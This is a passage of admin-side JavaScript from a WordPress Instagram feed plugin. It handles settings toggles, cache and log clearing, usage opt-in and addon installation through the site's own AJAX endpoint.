$sbi_caching_time_settings.hide(); } else { $sbi_caching_time_settings.show(); } }); sbi_cache_cron_interval = jQuery('#sbi_cache_cron_interval').val(); if(sbi_cache_cron_interval == '30mins' || sbi_cache_cron_interval == '1hour'){ $sbi_caching_time_settings.hide(); } else { $sbi_caching_time_settings.show(); } //clear backup caches jQuery('#sbi_clear_backups').click(function(event) { jQuery('.sbi-success').remove(); event.preventDefault(); jQuery.ajax({ url: sbiA.ajax_url, type: 'post', data: { action: 'sbi_clear_backups', access_token: token, sbi_nonce : sbiA.sbi_nonce, just_tokens: true }, success: function (data) { jQuery('#sbi_clear_backups').after(''); } }); }); //sbi_reset_log var $sbiClearLog = $('#sbi_reset_log'); $sbiClearLog.click(function(event) { event.preventDefault(); jQuery('#sbi-clear-cache-success').remove(); jQuery(this).prop("disabled",true); $.ajax({ url : sbiA.ajax_url, type : 'post', data : { action : 'sbi_reset_log' }, success : function(data) { $sbiClearLog.prop('disabled',false); if(data=='1') { $sbiClearLog.after(''); } else { $sbiClearLog.after('error'); } } }); // ajax call }); // clear_comment_cache click $('.sb-opt-in').click(function(event) { event.preventDefault(); var $btn = jQuery(this); $btn.prop( 'disabled', true ).addClass( 'loading' ).html(''); sbiSubmitOptIn(true); }); // clear_comment_cache click $('.sb-no-usage-opt-out').click(function(event) { event.preventDefault(); var $btn = jQuery(this); $btn.prop( 'disabled', true ).addClass( 'loading' ).html(''); sbiSubmitOptIn(false); }); // clear_comment_cache click function sbiSubmitOptIn(choice) { $.ajax({ url : sbiA.ajax_url, type : 'post', data : { action : 'sbi_usage_opt_in_or_out', opted_in: choice, sbi_nonce : sbiA.sbi_nonce, }, success : function(data) { $('.sb-no-usage-opt-out').closest('.sbi-admin-notice').fadeOut(); } }); // ajax call } //Tooltips jQuery('#sbi_admin').on('click', '.sbi_tooltip_link, .sbi_type_tooltip_link', function(){ if( jQuery(this).hasClass('sbi_type_tooltip_link') ){ jQuery(this).closest('.sbi_row').children('.sbi_tooltip').slideToggle(); } else { jQuery(this).siblings('.sbi_tooltip').slideToggle(); } }); //Shortcode labels jQuery('#sbi_admin label').click(function(){ var $sbi_shortcode = jQuery(this).siblings('.sbi_shortcode'); if($sbi_shortcode.is(':visible')){ jQuery(this).siblings('.sbi_shortcode').css('display','none'); } else { jQuery(this).siblings('.sbi_shortcode').css('display','block'); } }); jQuery('#sbi_admin label').hover(function(){ if( jQuery(this).siblings('.sbi_shortcode').length > 0 ){ jQuery(this).attr('title', 'Click for shortcode option').append('[]'); } }, function(){ jQuery(this).find('.sbi_shortcode_symbol').remove(); }); jQuery('#sbi_admin .sbi_lock').hover(function(){ jQuery(this).siblings('.sbi_pro_tooltip').show(); }, function(){ jQuery('.sbi_pro_tooltip').hide(); }); //Add the color picker if( jQuery('.sbi_colorpick').length > 0 ) jQuery('.sbi_colorpick').wpColorPicker(); //Check User ID is numeric jQuery("#sb_instagram_user_id").change(function() { var sbi_user_id = jQuery('#sb_instagram_user_id').val(), $sbi_user_id_error = $(this).closest('td').find('.sbi_user_id_error'), $sbi_other_user_error = $(this).closest('td').find('.sbi_other_user_error'); if (sbi_user_id.match(/[^0-9, _.-]/)) { $sbi_user_id_error.fadeIn(); } else { $sbi_user_id_error.fadeOut(); } //Check whether an ID from another account is being used sbi_check_other_user_id(sbi_user_id, $sbi_other_user_error); }); function sbi_check_other_user_id(sbi_user_id, $sbi_other_user_error){ if (jQuery('#sb_instagram_at').length && jQuery('#sb_instagram_at').val() !== '' && sbi_user_id.length) { if(jQuery('#sb_instagram_at').val().indexOf(sbi_user_id) == -1 ){ $sbi_other_user_error.fadeIn(); } else { $sbi_other_user_error.fadeOut(); } } } //Check initially when settings load sbi_check_other_user_id( jQuery('#sb_instagram_user_id').val(), $('td').find('.sbi_other_user_error') ); //Mobile width var sb_instagram_feed_width = jQuery('#sbi_admin #sb_instagram_width').val(), sb_instagram_width_unit = jQuery('#sbi_admin #sb_instagram_width_unit').val(), $sb_instagram_width_options = jQuery('#sbi_admin #sb_instagram_width_options'); if (typeof sb_instagram_feed_width !== 'undefined') { //Show initially if a width is set if( (sb_instagram_feed_width.length > 1 && sb_instagram_width_unit == 'px') || (sb_instagram_feed_width !== '100' && sb_instagram_width_unit == '%') ) $sb_instagram_width_options.show(); jQuery('#sbi_admin #sb_instagram_width, #sbi_admin #sb_instagram_width_unit').change(function(){ sb_instagram_feed_width = jQuery('#sbi_admin #sb_instagram_width').val(); sb_instagram_width_unit = jQuery('#sbi_admin #sb_instagram_width_unit').val(); if( sb_instagram_feed_width.length < 2 || (sb_instagram_feed_width == '100' && sb_instagram_width_unit == '%') ) { $sb_instagram_width_options.slideUp(); } else { $sb_instagram_width_options.slideDown(); } }); } //Scroll to hash for quick links jQuery('#sbi_admin a').click(function() { if (location.pathname.replace(/^\//,'') == this.pathname.replace(/^\//,'') && location.hostname == this.hostname) { var target = jQuery(this.hash); target = target.length ? target : this.hash.slice(1); if (target.length) { jQuery('html,body').animate({ scrollTop: target.offset().top }, 500); return false; } } }); //Support tab show video jQuery('#sbi-play-support-video').on('click', function(e){ e.preventDefault(); jQuery('#sbi-support-video').show().attr('src', jQuery('#sbi-support-video').attr('src')+'&autoplay=1' ); }); jQuery('#sbi_admin .sbi-show-pro').on('click', function(){ jQuery(this).parent().next('.sbi-pro-options').toggle(); }); /* Pro 3.0 JS */ function sbiUpdateLayoutTypeOptionsDisplay() { setTimeout(function(){ jQuery('.sb_instagram_layout_settings').hide(); jQuery('.sb_instagram_layout_settings.sbi_layout_type_'+jQuery('.sb_layout_type:checked').val()).show(); }, 1); } jQuery('.sb_layout_type').change(sbiUpdateLayoutTypeOptionsDisplay); jQuery('.sbi_close_options').on('click', function(){ jQuery('.sb_instagram_layout_settings').hide(); }); function sbiUpdateHighlightOptionsDisplay() { jQuery('.sb_instagram_highlight_sub_options').hide(); var selected = jQuery('#sb_instagram_highlight_type').val(); if (selected === 'pattern') { jQuery('.sb_instagram_highlight_pattern').show(); } else if (selected === 'id') { jQuery('.sb_instagram_highlight_ids').show(); } else { jQuery('.sb_instagram_highlight_hashtag').show(); } } sbiUpdateHighlightOptionsDisplay(); jQuery('#sb_instagram_highlight_type').change(sbiUpdateHighlightOptionsDisplay); //sb_instagram_enable_email_report function sbiToggleEmail() { if (jQuery('#sb_instagram_enable_email_report').is(':checked')) { jQuery('#sb_instagram_enable_email_report').closest('td').find('.sb_instagram_box').slideDown(); } else { jQuery('#sb_instagram_enable_email_report').closest('td').find('.sb_instagram_box').slideUp(); } }sbiToggleEmail(); jQuery('#sb_instagram_enable_email_report').change(sbiToggleEmail); if (jQuery('#sbi-goto').length) { jQuery('#sbi-goto').closest('tr').addClass('sbi-goto'); $('html, body').animate({ scrollTop: $('#sbi-goto').offset().top - 200 }, 500); } //Open/close the expandable option sections jQuery('.sbi-expandable-options').hide(); jQuery('.sbi-expand-button a').on('click', function(e){ e.preventDefault(); var $self = jQuery(this); $self.parent().next('.sbi-expandable-options').toggle(); if( $self.text().indexOf('Show') !== -1 ){ $self.text( $self.text().replace('Show', 'Hide') ); } else { $self.text( $self.text().replace('Hide', 'Show') ); } }); //Selecting a post layout jQuery('.sbi_layout_cell').click(function(){ var $self = jQuery(this); $('.sb_layout_type').trigger('change'); $self.addClass('sbi_layout_selected').find('.sb_layout_type').attr('checked', 'checked'); $self.siblings().removeClass('sbi_layout_selected'); }); setTimeout( function() { jQuery('.notice-dismiss').click(function() { if (jQuery(this).closest('.sbi-admin-notice').length) { if (jQuery(this).closest('.sbi-admin-notice').find('.sbi-admin-error').length) { var exemptErrorType = jQuery(this).closest('.sbi-admin-notice').find('.sbi-admin-error').attr('data-sbi-type'); if (exemptErrorType === 'ajax') { jQuery.ajax({ url: sbiA.ajax_url, type: 'post', data: { action : 'sbi_on_ajax_test_trigger', sbi_nonce: sbiA.sbi_nonce }, success: function (data) { } }); } } } }); },1500); //Load the admin share widgets jQuery('#sbi_admin_show_share_links').on('click', function(){ jQuery(this).fadeOut(); if( jQuery('#sbi_admin_share_links iframe').length == 0 ) jQuery('#sbi_admin_share_links').html('Tweet
'); setTimeout(function(){ jQuery('#sbi_admin_share_links').addClass('sbi_show'); }, 500); }); // notices if (jQuery('#sbi-notice-bar').length) { jQuery('#wpadminbar').after(jQuery('#sbi-notice-bar')); jQuery('#wpcontent').css('padding-left', 0); jQuery('#wpbody').css('padding-left', '20px'); jQuery('#sbi-notice-bar').show(); } jQuery('#sbi-notice-bar .dismiss').click(function(e) { e.preventDefault(); jQuery('#sbi-notice-bar').remove(); jQuery.ajax({ url: sbiA.ajax_url, type: 'post', data: { action : 'sbi_lite_dismiss', sbi_nonce: sbiA.sbi_nonce }, success: function (data) { } }); }); /* removing padding */ if (jQuery('#sbi-admin-about').length) { jQuery('#wpcontent').css('padding', 0); } /* Clear errors visit page */ jQuery('.sbi-error-directions a').addClass('button button-primary'); jQuery('.sbi-error-directions.sbi-reconnect a').click(function(){ event.preventDefault(); jQuery('.sbi_admin_btn').trigger('click'); }); jQuery('.sbi-clear-errors-visit-page').appendTo('.sbi-error-directions'); jQuery('.sbi-clear-errors-visit-page').click(function(event) { event.preventDefault(); var $btn = jQuery(this); $btn.prop( 'disabled', true ).addClass( 'loading' ).html(''); $.ajax({ url : sbiA.ajax_url, type : 'post', data : { action : 'sbi_reset_log' }, success : function(data) { window.location.href = $btn.attr('href'); }, error : function(data) { window.location.href = $btn.attr('href'); } }); // ajax call }) }); /* global smash_admin, jconfirm, wpCookies, Choices, List */ (function($) { 'use strict'; // Global settings access. var s; // Admin object. var SmashAdmin = { // Settings. settings: { iconActivate: '', iconDeactivate: '', iconInstall: '', iconSpinner: '', mediaFrame: false }, /** * Start the engine. * * @since 1.3.9 */ init: function() { // Settings shortcut. s = this.settings; // Document ready. $( document ).ready( SmashAdmin.ready ); // Addons List. SmashAdmin.initAddons(); }, /** * Document ready. * * @since 1.3.9 */ ready: function() { // Action available for each binding. $( document ).trigger( 'smashReady' ); }, //--------------------------------------------------------------------// // Addons List. //--------------------------------------------------------------------// /** * Element bindings for Addons List page. * * @since 1.3.9 */ initAddons: function() { // Some actions have to be delayed to document.ready. $( document ).on( 'smashReady', function() { // Only run on the addons page. if ( ! $( '#sbi-admin-addons' ).length ) { return; } // Display all addon boxes as the same height. $( '.addon-item .details' ).matchHeight( { byrow: false, property: 'height' } ); // Addons searching. if ( $('#sbi-admin-addons-list').length ) { var addonSearch = new List( 'sbi-admin-addons-list', { valueNames: [ 'addon-name' ] } ); $( '#sbi-admin-addons-search' ).on( 'keyup', function () { var searchTerm = $( this ).val(), $heading = $( '#addons-heading' ); if ( searchTerm ) { $heading.text( sbi_admin.addon_search ); } else { $heading.text( $heading.data( 'text' ) ); } addonSearch.search( searchTerm ); } ); } }); // Toggle an addon state. $( document ).on( 'click', '#sbi-admin-addons .addon-item button', function( event ) { event.preventDefault(); if ( $( this ).hasClass( 'disabled' ) ) { return false; } SmashAdmin.addonToggle( $( this ) ); }); }, /** * Toggle addon state. * * @since 1.3.9 */ addonToggle: function( $btn ) { var $addon = $btn.closest( '.addon-item' ), plugin = $btn.attr( 'data-plugin' ), plugin_type = $btn.attr( 'data-type' ), action, cssClass, statusText, buttonText, errorText, successText; if ( $btn.hasClass( 'status-go-to-url' ) ) { // Open url in new tab. window.open( $btn.attr('data-plugin'), '_blank' ); return; } $btn.prop( 'disabled', true ).addClass( 'loading' ); $btn.html( s.iconSpinner ); if ( $btn.hasClass( 'status-active' ) ) { // Deactivate. action = 'sbi_deactivate_addon'; cssClass = 'status-inactive'; if ( plugin_type === 'plugin' ) { cssClass += ' button button-secondary'; } statusText = sbi_admin.addon_inactive; buttonText = sbi_admin.addon_activate; if ( plugin_type === 'addon' ) { buttonText = s.iconActivate + buttonText; } errorText = s.iconDeactivate + sbi_admin.addon_deactivate; } else if ( $btn.hasClass( 'status-inactive' ) ) { // Activate. action = 'sbi_activate_addon'; cssClass = 'status-active'; if ( plugin_type === 'plugin' ) { cssClass += ' button button-secondary disabled'; } statusText = sbi_admin.addon_active; buttonText = sbi_admin.addon_deactivate; if ( plugin_type === 'addon' ) { buttonText = s.iconDeactivate + buttonText; } else if ( plugin_type === 'plugin' ) { buttonText = sbi_admin.addon_activated; } errorText = s.iconActivate + sbi_admin.addon_activate; } else if ( $btn.hasClass( 'status-download' ) ) { // Install & Activate. action = 'sbi_install_addon'; cssClass = 'status-active'; if ( plugin_type === 'plugin' ) { cssClass += ' button disabled'; } statusText = sbi_admin.addon_active; buttonText = sbi_admin.addon_activated; if ( plugin_type === 'addon' ) { buttonText = s.iconActivate + sbi_admin.addon_deactivate; } errorText = s.iconInstall + sbi_admin.addon_activate; } else { return; } var data = { action: action, nonce : sbi_admin.nonce, plugin: plugin, type : plugin_type }; $.post( sbi_admin.ajax_url, data, function( res ) { if ( res.success ) { if ( 'sbi_install_addon' === action ) { $btn.attr( 'data-plugin', res.data.basename ); successText = res.data.msg; if ( ! res.data.is_activated ) { cssClass = 'status-inactive'; if ( plugin_type === 'plugin' ) { cssClass = 'button'; } statusText = sbi_admin.addon_inactive; buttonText = s.iconActivate + sbi_admin.addon_activate; } } else { successText = res.data; } $addon.find( '.actions' ).append( '
'+successText+'
' ); $addon.find( 'span.status-label' ) .removeClass( 'status-active status-inactive status-download' ) .addClass( cssClass ) .removeClass( 'button button-primary button-secondary disabled' ) .text( statusText ); $btn .removeClass( 'status-active status-inactive status-download' ) .removeClass( 'button button-primary button-secondary disabled' ) .addClass( cssClass ).html( buttonText ); } else { if ( 'download_failed' === res.data[0].code ) { if ( plugin_type === 'addon' ) { $addon.find( '.actions' ).append( '
'+sbi_admin.addon_error+'
' ); } else { $addon.find( '.actions' ).append( '
'+sbi_admin.plugin_error+'
' ); } } else { $addon.find( '.actions' ).append( '
'+res.data+'
' ); } $btn.html( errorText ); } $btn.prop( 'disabled', false ).removeClass( 'loading' ); // Automatically clear addon messages after 3 seconds. setTimeout( function() { $( '.addon-item .msg' ).remove(); }, 3000 ); }).fail( function( xhr ) { console.log( xhr.responseText ); }); }, }; SmashAdmin.init(); window.SmashAdmin = SmashAdmin; })( jQuery );